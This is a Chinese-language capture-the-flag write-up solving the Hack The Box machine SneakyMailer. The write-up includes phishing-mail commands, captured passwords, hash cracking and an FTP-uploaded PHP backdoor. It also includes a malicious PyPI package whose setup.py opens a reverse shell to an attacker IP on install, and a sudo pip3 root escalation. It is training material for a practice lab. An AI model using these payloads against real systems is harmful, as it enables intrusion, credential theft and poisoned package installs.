【Hack The Box】linux练习-- SneakyMailer
创始人
2024-02-22 05:01:25
0

HTB 学习笔记

【Hack The Box】linux练习-- SneakyMailer


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月23日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 21
    • 爆破域名
    • 25
    • 80
    • imap
    • ftp
    • 深入
    • pypi
    • 创建恶意python包
    • 上传
    • pip提权

在这里插入图片描述

信息收集

21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 
25/tcp   open  smtp     Postfix smtpd
80/tcp   open  http     nginx 1.14.2
http://sneakycorp.htb
143/tcp  open  imap     Courier Imapd (released 2018)
993/tcp  open  ssl/imap Courier Imapd (released 2018)
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests

http://sneakycorp.htb

21

没戏

爆破域名

wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H "Host: FUZZ.sneakycorp.htb" --hh 185

sneakycorp.htb
dev.sneakycorp.htb
这两个添加到hosts

25

Postfix smtpd

80

Sneaky Corp
在这里插入图片描述在这里插入图片描述也要看另外获取的域名
另一个域名是同站
在这里插入图片描述
有很多邮箱,我将采用工具爬去所有的邮箱
而只所以先爬邮箱是因为
以下的两种方式都可以

curl -s http://sneakycorp.htb/team.php | grep '@' | cut -d'>' -f2 | cut -d'<' -f1 > emails
后者
cewl -e --email_file emails.txt http://sneakycorp.htb/team.php 

在这里插入图片描述
我们在 swaks 的参数中使用 cat 命令。 cat 命令将读取电子邮件,tr 将在电子邮件末尾添加逗号,我们将能够向从团队页面提取的所有电子邮件发送邮件。 但如果它不包含任何链接,则不是钓鱼邮件。 我们将输入我们自己的 IP 地址,以便接收在阅读该电子邮件时可能产生的任何请求。 我们也可以在本地机器上启动 netcat 以捕获是否生成任何请求。

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "http://10.10.14.29/" --server 10.129.2.28     

在这里插入图片描述
显示

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

获取的资料如下
paulbyrd@sneakymailer.htb
IMAP
sneakycorp.htb
paulbyrd
密码是:^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

imap

有了 Paul 的信誉,我可以查看他的电子邮件。 我可以手动与 IMAP 交互 nc在端口 143 上(或者如果我想在端口 993 上使用 TLS 版本,我可以使用 ncat(这是 nc在我的机器上别名为)与

apt install evolution

编辑添加账号
在这里插入图片描述选择邮件账号

在这里插入图片描述添加用户名

在这里插入图片描述

在这里插入图片描述在都设置好之后就会跳出输入密码的窗口
在这里插入图片描述
在这里插入图片描述而后我们会发现邮件

Hello administrator, I want to change this password for the developer accountUsername: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]CPlease notify me when you do it

给出了我们一个凭据

ftp

我们用这个凭据登陆ftp
在这里插入图片描述都没有什么东西,看着像网站,并且有index.php,因为这是首页
并且与我们的目录爆破结果一致
那么我们在ftp上上传的文件就可以在王帐上访问到,所以我们可以顺其自然的上传一个后门文件(php)然后去浏览器访问即可
在这里插入图片描述

我将尝试上传

在这里插入图片描述
在这里插入图片描述
但是没了,应该是被清理了,这次我将衔接得快一点
在这里插入图片描述
回来看确实没有了

动作快一点就可以成功

在这里插入图片描述

深入

盒子上有两个用户,low和vmail:
这就是 Paul Byrd 的第二封电子邮件有用的地方。 它告诉 low 下载并运行本地 pypi 中的所有 Python 包。 绝对是一个暗示,我应该把一个放在那里。

pypi

在这里插入图片描述pypi.sneakycorp.htb

在这里插入图片描述有这个文件,passwd很敏感

$ cat .htpasswd

pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

在这里插入图片描述

hashcat -m 1600 pypi.hash /usr/share/wordlists/rockyou.txt --user --force$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui

接下来就是想办法登陆到pypi服务器了,既然外部没有开放,那就内部看看,实在不行到时候做个代理做出去

ww-data@sneakymailer:/home/low$ netstat -tnlp4
(Not all processes could be identified, non-owned process infowill not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      744/nginx: worker p 
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      744/nginx: worker p 
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      -  

发现了奇怪的nginx
ls -la /etc/nginx/sites-enabled

在这里插入图片描述cat pypi.sneakycorp.htb

server {listen 0.0.0.0:8080 default_server;listen [::]:8080 default_server;server_name _;
}
server {listen 0.0.0.0:8080;listen [::]:8080;server_name pypi.sneakycorp.htb;location / {proxy_pass http://127.0.0.1:5000;proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;

发现pypi开头的域名8080端口代理了5000端口

我先把pypi开头的域名加入hosts,然后访问8080,然后输入刚才的得到的密码
pypi.sneakycorp.htb
在这里插入图片描述利用的凭据如下

pypi/soufianeelhaoui

创建恶意python包

我会为我的包创建一个文件夹, revshell,并创建以下文件夹结构和文件:

mkdir revshell;cd revshell;touch README.md;mkdir revshell;cd revshell;touch __init__.py;cd ..;touch setup.cfg;touch setup.py;cd ..

再看一下结构,如下即可

tree revshell

在这里插入图片描述

init.py是合法应用程序实际启动的地方,它必须存在才能使包工作。 我只会用 touch创建一个空文件。

我也会创建空 setup.cfg和 README.md文件。 README.md是包的文档。 setup.cfg应包含有关包元数据
README.md,我并不需要他们。但将它们作为空文件包含在内会显得更专业。

setup.py
恶意代码将进入 setup.py. 我实际上已经创建了一个恶意的 setup.py
代码如下,要修改自己的ip和端口

import os
import socket
import subprocess
from setuptools import setup
from setuptools.command.install import installclass Exploit(install):def run(self):RHOST = '10.10.14.29'RPORT = 9999s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((RHOST, RPORT))for i in range(3):os.dup2(s.fileno(), i)p = subprocess.call(["/bin/sh","-i"])setup(name='revshell',version='0.0.1',description='Reverse Shell',author='0xdf',author_email='0xdf',url='http://sneakycopy.htb',license='MIT',zip_safe=False,cmdclass={'install': Exploit})

到此为止我们只需要这一个有价值的文件
其他的都是为了显得专业
python setup.py sdist
在这里插入图片描述在这里插入图片描述打包成了一个dist

上传

cat ~/.pypirc
关注index-servers,下面要用

[distutils]
index-servers =sneaky
[sneaky]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

在这里插入图片描述
安装

python setup.py sdist upload -r sneaky

在这里插入图片描述本地端口接收到shell
在这里插入图片描述

pip提权

在这里插入图片描述
简单

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip3 install $TF

就这样,要等一会,三分中

在这里插入图片描述这还有很多

在这里插入图片描述

相关内容

热门资讯

喜欢穿一身黑的男生性格(喜欢穿... 今天百科达人给各位分享喜欢穿一身黑的男生性格的知识,其中也会对喜欢穿一身黑衣服的男人人好相处吗进行解...
发春是什么意思(思春和发春是什... 本篇文章极速百科给大家谈谈发春是什么意思,以及思春和发春是什么意思对应的知识点,希望对各位有所帮助,...
网络用语zl是什么意思(zl是... 今天给各位分享网络用语zl是什么意思的知识,其中也会对zl是啥意思是什么网络用语进行解释,如果能碰巧...
为什么酷狗音乐自己唱的歌不能下... 本篇文章极速百科小编给大家谈谈为什么酷狗音乐自己唱的歌不能下载到本地?,以及为什么酷狗下载的歌曲不是...
家里可以做假山养金鱼吗(假山能... 今天百科达人给各位分享家里可以做假山养金鱼吗的知识,其中也会对假山能放鱼缸里吗进行解释,如果能碰巧解...
华为下载未安装的文件去哪找(华... 今天百科达人给各位分享华为下载未安装的文件去哪找的知识,其中也会对华为下载未安装的文件去哪找到进行解...
四分五裂是什么生肖什么动物(四... 本篇文章极速百科小编给大家谈谈四分五裂是什么生肖什么动物,以及四分五裂打一生肖是什么对应的知识点,希...
怎么往应用助手里添加应用(应用... 今天百科达人给各位分享怎么往应用助手里添加应用的知识,其中也会对应用助手怎么添加微信进行解释,如果能...
苏州离哪个飞机场近(苏州离哪个... 本篇文章极速百科小编给大家谈谈苏州离哪个飞机场近,以及苏州离哪个飞机场近点对应的知识点,希望对各位有...
客厅放八骏马摆件可以吗(家里摆... 今天给各位分享客厅放八骏马摆件可以吗的知识,其中也会对家里摆八骏马摆件好吗进行解释,如果能碰巧解决你...